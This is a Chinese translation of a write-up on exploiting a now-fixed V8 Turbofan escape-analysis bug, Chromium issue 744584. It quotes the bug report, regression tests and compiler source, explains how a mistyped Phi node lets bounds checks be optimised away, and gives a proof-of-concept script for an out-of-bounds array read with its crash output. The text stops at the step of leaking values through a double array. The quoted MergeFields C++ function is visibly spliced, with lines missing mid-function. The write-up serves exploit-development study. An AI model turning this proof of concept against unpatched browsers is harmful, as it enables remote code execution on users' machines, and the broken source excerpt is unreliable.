原文:Exploiting an Accidentally Discovered V8 RCE
作者:0x4848


请从现在开始睁开你的双眼,不要忽略系统中发生的任何崩溃...

花些时间看看发生了什么,如果你在浏览网页时浏览器却突然消失了,再次访问该页面,浏览器又崩溃了,那么你一定想知道这个网页做了什么...打开调试器看看,找到发生了什么,不要忽略任何现象。

大多数人每天都会碰到漏洞,只是他们没有意识到,所以现在开始,观察...

——Halvar and FX - Take it from here - Defcon 12

前言

为了更好的了解浏览器的内部结构以及exploit的开发,查看旧的漏洞,尝试根据其PoC或者漏洞报告编写相应的exploit是很有帮助的。Issue 744584: Fatal error in ../../v8/src/compiler/representation-change.cc这个问题很有意思。首先,目前还没有为这个漏洞写的exploit。其次,这个漏洞是偶然发现的,漏洞提交者是一个开发人员,他是为了修复崩溃的应用程序才向Chromium团队报告了这个问题,而不是因为他正在挖掘漏洞。事情恰好就这么发生了,他在Chrome中发现了一个潜在的0-day漏洞。考虑到这些因素,这个漏洞很值得深入研究。

这也说明Halver和FX在Defon 12上说的话是正确的。

漏洞报告

漏洞报告中没有提供PoC,而且除了一个崩溃的跟踪记录外,几乎没有任何关于该漏洞的其他信息。

UserAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0

Steps to reproduce the problem:
Unfortunately I could not isolate the problem for an easy repro.
I have a JS app of around 3mb minified and the browser crashes at what seem to be random times (I suppose whenever it decides to optimize the problematic function)

What is the expected behavior?
not crash

What went wrong?
Fatal error in ../../v8/src/compiler/representation-change.cc, line 1055
RepresentationChangerError: node #812:Phi of kRepFloat64 (Number) cannot be changed to kRepWord32

STACK_TEXT:  
0x0
v8_libbase!v8::base::OS::Abort+0x11
v8_libbase!V8_Fatal+0x91
v8!v8::internal::compiler::RepresentationChanger::TypeError+0x1d9
v8!v8::internal::compiler::RepresentationChanger::GetWord32RepresentationFor+0x18d
v8!v8::internal::compiler::RepresentationChanger::GetRepresentationFor+0x28d
v8!v8::internal::compiler::RepresentationSelector::ConvertInput+0x19d
v8!v8::internal::compiler::RepresentationSelector::VisitPhi+0x12c
v8!v8::internal::compiler::RepresentationSelector::VisitNode+0x31f
v8!v8::internal::compiler::RepresentationSelector::Run+0x4ea
v8!v8::internal::compiler::SimplifiedLowering::LowerAllNodes+0x4c
v8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::SimplifiedLoweringPhase>+0x70
v8!v8::internal::compiler::PipelineImpl::OptimizeGraph+0x29f
v8!v8::internal::compiler::PipelineCompilationJob::ExecuteJobImpl+0x20
v8!v8::internal::CompilationJob::ExecuteJob+0x1a3
v8!v8::internal::OptimizingCompileDispatcher::CompileTask::Run+0x110
gin!base::internal::FunctorTraits<void (__cdecl v8::Task::*)(void) __ptr64,void>::Invoke<v8::Task * __ptr64>+0x1a
gin!base::internal::InvokeHelper<0,void>::MakeItSo<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,v8::Task * __ptr64>+0x37
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::RunImpl<void (__cdecl v8::Task::*const & __ptr64)(void) __ptr64,std::tuple<base::internal::OwnedWrapper<v8::Task> > const & __ptr64,0>+0x49
gin!base::internal::Invoker<base::internal::BindState<void (__cdecl v8::Task::*)(void) __ptr64,base::internal::OwnedWrapper<v8::Task> >,void __cdecl(void)>::Run+0x33
base!base::Callback<void __cdecl(void),0,0>::Run+0x40
base!base::debug::TaskAnnotator::RunTask+0x2fd
base!base::internal::TaskTracker::PerformRunTask+0x74b
base!base::internal::TaskTracker::RunNextTask+0x1ea
base!base::internal::SchedulerWorker::Thread::ThreadMain+0x4b9
base!base::`anonymous namespace'::ThreadFunc+0x131
KERNEL32!BaseThreadInitThunk+0x14
ntdll!RtlUserThreadStart+0x21

Did this work before? N/A 

Chrome version: 61.0.3158.0  Channel: canary
OS Version: 10.0
Flash Version: Shockwave Flash 25.0 r0

漏洞的提交者(Marco Giovannini)确实曾在评论中提供了PoC,但是后来又删除了,因为其中包含了部分他的应用程序中的代码。

因为这是一个已修复的n-day漏洞,我们可以直接查看修复漏洞过程中更改记录,以及相关的测试代码。

在更改记录中提供了两个测试代码:

// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
function f(x) {
    var o = {a : 0};
    var l = [1,2,3,4];
    var res;
    for (var i = 0; i < 3; ++i) {
        if (x%2 == 0) { o.a = 1; b = false}
        res = l[o.a];
        o.a = x;
    }
    return res;
}
f(0);
f(1);
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
assertEquals(undefined, f(101));
// Copyright 2017 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax --turbo-escape

function f(x) {
    var o = {a : 0, b: 0};
    if (x == 0) {
        o.a = 1
    } else {
        if (x <= 1) {
            if (x == 2) {
                o.a = 2;
            } else {
                o.a = 1
            }
            o.a = 2;
        } else {
            if (x == 2) {
                o.a = "x";
            } else {
                o.a = "x";
            }
            o.b = 22;
        }
        o.b = 22;
    }
    return o.a + 1;
}

f(0,0);
f(1,0);
f(2,0);
f(3,0);
f(0,1);
f(1,1);
f(2,1);
f(3,1);
%OptimizeFunctionOnNextCall(f);
assertEquals(f(2), "x1");

分析

强制免责申明——我并不是V8代码库的专家,所以关于漏洞存在的原因,我的结论可能并不十分正确。

存在漏洞的代码存位于VirtualObject::MergeFields函数中,该函数是Turbofan JIT的逃逸分析(Escape Analysis)阶段。

“在编译器优化中,逃逸分析是一种确定指针动态范围的方法,即它可以确定程序中指针可以访问的区域。它与指针分析以及形状分析有关。——维基百科

在V8中,Turbofan使用逃逸分析对绑定到函数上的对象进行优化。如果对象没有逃出函数的生存周期,那么就不需要在堆上分配它,V8可以将其视为函数的本地变量,从而存储在栈或者寄存器上,或者将它完全优化掉。

请参阅下面的V8 Turbofan条款,后面还会继续引用这些条款:

  • Branch是条件控制流,程序执行到这里分成两个节点;
  • Merge将分支两侧的两个控制节点合并;
  • Phi将分支两侧计算的值合并。

下面的merge函数根据之前在缓存中看到的类型创建了一个Phi。看起来漏洞存在的原因是因为函数错误地计算了类型,因此攻击者控制的值的类型与已编译函数期望的类型不同。

bool VirtualObject::MergeFields(size_t i, Node* at, MergeCache* cache,
                                Graph* graph, CommonOperatorBuilder* common) {
  bool changed = false;
  int value_input_count = static_cast<int>(cache->fields().size());
  Node* rep = GetField(i);
  if (!rep || !IsCreatedPhi(i)) {
    Type* phi_type = Type::None();
    for (Node* input : cache->fields()) {
      CHECK_NOT_NULL(input);
      CHECK(!input->IsDead());
      Type* input_type = NodeProperties::GetType(input);
      phi_type = Type::Union(phi_type, input_type, graph->zone());
    }
    Node* control = NodeProperties::GetControlInput(at);
    cache->fields().push_back(control);
    Node* phi = graph->NewNode(
        common->Phi(MachineRepresentation::kTagged, value_input_count),
        value_input_count + 1, &cache->fields().front());
    NodeProperties::SetType(phi, phi_type);
    SetField(i, phi, true);

#ifdef DEBUG
    if (FLAG_trace_turbo_escape) {
      PrintF("    Creating Phi #%d as merge of", phi->id());
      for (int i = 0; i < value_input_count; i++) {
        PrintF(" #%d (%s)", cache->fields()[i]->id(),
               cache->fields()[i]->op()->mnemonic());
      }vp, n);
      if (old != cache->fields()[n]) {
        changed = true;
        NodeProperties::ReplaceValueInput(rep, cache->fields()[n], n);
      }
    }
  }
  return changed;
}

Turbolizer分析

我们首先在Turbolizer中查看函数图。在消除负载(Load Eliminated)阶段,漏洞还未发生,程序流程如图所示,我添加了一些注释用来说明:

在这之后是Merge,可以看到这里有一个边界检查,然后是LoadElement节点,在这里查找l[0.a]。在这个阶段,漏洞还没有发生,查找顺利进行。

接下来,我们在漏洞发生的逃逸分析阶段后寻找差异。可以看到Phi[kRepTagged] Range(0,1)被加到了CheckBoundsLoadElement之前。因为Turbofan

在前面的执行过程中发现值只能是0或1,所以编译器将类型设置为Range(0,1)

最后我们看下一个阶段,简化降低(Simplified Lowering)阶段,看起来因为期望类型是Range(0,1),边界检查被优化删除掉了:

缺少边界检查使我们可以读写超出数组边界的部分。

Exploitation

刚开始看第一个测试用例的时候,发现它是通过验证f(101)未定义,来确认无法越界读取数组的。

为了验证该猜想,可以在有漏洞的V8版本上运行该PoC,把assertEquals替换为print。

function f(x) {
  var o = {a : 0};
  var l = [1,2,3,4]

  var res;
  for (var i = 0; i < 3; ++i) {
    if (x%2 == 0) { o.a = 1; b = false}
    res = l[o.a];
    o.a = x;
  }
  return res;
}
f(0);
f(1);
%OptimizeFunctionOnNextCall(f);
print(f(101))
./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling
#
# Fatal error in ../v8/src/objects.h, line 1584
# Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).
#

==== C stack trace ===============================

    /home/zon8/accidentalnday/./libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x13) [0x7efdae48d363]
    /home/zon8/accidentalnday/./libv8_libplatform.so(+0x7d8b) [0x7efdae46cd8b]
    /home/zon8/accidentalnday/./libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0xdc) [0x7efdae4891fc]
    /home/zon8/accidentalnday/./libv8.so(+0x1ad31a) [0x7efdad52a31a]
    ./d8(+0x124cb) [0x55574932a4cb]
    ./d8(+0x125ee) [0x55574932a5ee]
    /home/zon8/accidentalnday/./libv8.so(+0x18cee2) [0x7efdad509ee2]
    /home/zon8/accidentalnday/./libv8.so(+0x26b895) [0x7efdad5e8895]
    /home/zon8/accidentalnday/./libv8.so(+0x26a1a9) [0x7efdad5e71a9]
    [0x268f68a044c4]
Received signal 4 ILL_ILLOPN 7efdae48c012
[1]    4436 illegal hardware instruction (core dumped)  ./d8 bug.js --allow-natives-syntax --turbo-escape --turbo-experimental

由于脚本尝试将nonSMI值读取到PACKED_SMI_ELEMENTS数组中,得到错误信息Debug check failed: !IsSmi() == Internals::HasHeapObjectTag(this) (1 vs. 0).如果把l改为double数组或者准确的说是PACKED_DOUBLE_ELEMENTS数组,应该就可以读取该值了。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖